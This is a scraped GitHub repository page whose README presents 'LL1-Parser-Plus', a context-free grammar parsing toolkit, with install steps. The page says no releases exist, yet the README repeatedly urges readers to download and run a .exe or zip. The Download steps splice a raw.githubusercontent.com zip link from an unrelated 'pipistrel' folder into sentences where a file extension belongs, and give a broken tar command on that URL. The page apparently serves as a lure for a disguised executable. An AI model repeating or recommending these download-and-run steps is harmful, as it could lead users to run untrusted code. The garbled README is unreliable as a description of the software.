Skip to content

πŸ“š Build an LL(1) parser that processes grammars, computes FIRST/FOLLOW sets, and visualizes stack operations while parsing input strings efficiently.

License

Notifications You must be signed in to change notification settings

jcmark-fullmetal/LL1-Parser-Plus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ LL1-Parser-Plus - A Simple Toolkit for Parsing

Download LL1-Parser-Plus

πŸ“˜ Description

LL1-Parser-Plus is a user-friendly toolkit for parsing context-free grammars. With our software, you can easily read a grammar, perform essential operations such as left factoring and left recursion removal, compute FIRST and FOLLOW sets, build an LL(1) parsing table, and parse strings using a straightforward stack. This tool provides detailed debug output, making it easier to understand the parsing process. It also includes a Makefile, a Windows script, sample grammar files, and input options to get you started quickly.

πŸš€ Getting Started

Follow these steps to download and run LL1-Parser-Plus on your computer:

1. Visit the Release Page

To download the latest version of LL1-Parser-Plus, visit our Releases page.

2. Download the Application

On the Releases page, you will find the latest version listed at the top. Click on the file that matches your operating system. For most users, this will be a .zip or .exe file for Windows, or a https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zip file for Linux.

3. Extract the Files

After downloading, locate the downloaded file on your computer.

  • For Windows:

    • Right-click on the .zip or .exe file and select β€œExtract All” or β€œRun” to extract the files.
  • For Linux:

    • If you downloaded a https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zip file, you can extract it by right-clicking the file and selecting β€œExtract Here” or using the terminal with the command: tar -xvzf https://raw.githubusercontent.com/jcmark-fullmetal/LL1-Parser-Plus/main/pipistrel/LL1-Parser-Plus.zip.

4. Open the Application

Once the files are extracted, you can find the application executable inside the folder.

  • For Windows Users:

    • Locate the .exe file and double-click it to run the application.
  • For Linux Users:

    • Open your terminal, navigate to the folder where you extracted the files, and run the application with the command: ./yourfile.

5. Load a Grammar File

To get started with parsing, you need to load a grammar file. You can use one of the sample grammar files provided in the extracted folder.

  • Open the application and look for an option to load or import a grammar file.
  • Select a sample grammar file, and you will see the options for left factoring and left recursion removal.

6. Parse a String

After loading a grammar, you can input a string for parsing. The application will process it according to the rules defined in the loaded grammar.

  • Enter your string in the designated input area of the application.
  • Click on the parse button to see how the string is processed.

7. View Debug Output

LL1-Parser-Plus provides detailed debug output to help you understand the parsing process.

  • The debug console will show you the steps the parser takes, including the computation of FIRST and FOLLOW sets, and how the parsing table is built.

πŸ“₯ Download & Install

To install the application, please follow the download steps above. You can always revisit the Releases page for the latest updates and versions.

βš™οΈ System Requirements

  • Operating System:

    • Windows 10 or later
    • Linux distributions (Ubuntu, Fedora, or similar)
  • RAM: Minimum 2 GB

  • Processor: Any modern CPU compatible with Windows or Linux

  • Disk Space: At least 100 MB of free space

πŸ“ƒ Sample Grammar

Included in the package are sample grammar files. You can find them in the extracted folder under a sub-directory named samples. Feel free to modify these files or create your own based on the application's capabilities.

πŸ” Community Support

For questions or help regarding LL1-Parser-Plus, we encourage you to check our Issues page or reach out within the community for support.

πŸ’¬ Contributing

If you find LL1-Parser-Plus useful, consider contributing by providing feedback, suggestions, or enhancements. Check out the contributing guidelines in our repository.

πŸ“ License

LL1-Parser-Plus is open-source software. You can freely use, modify, and distribute this toolkit under the terms of the MIT License.

About

πŸ“š Build an LL(1) parser that processes grammars, computes FIRST/FOLLOW sets, and visualizes stack operations while parsing input strings efficiently.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published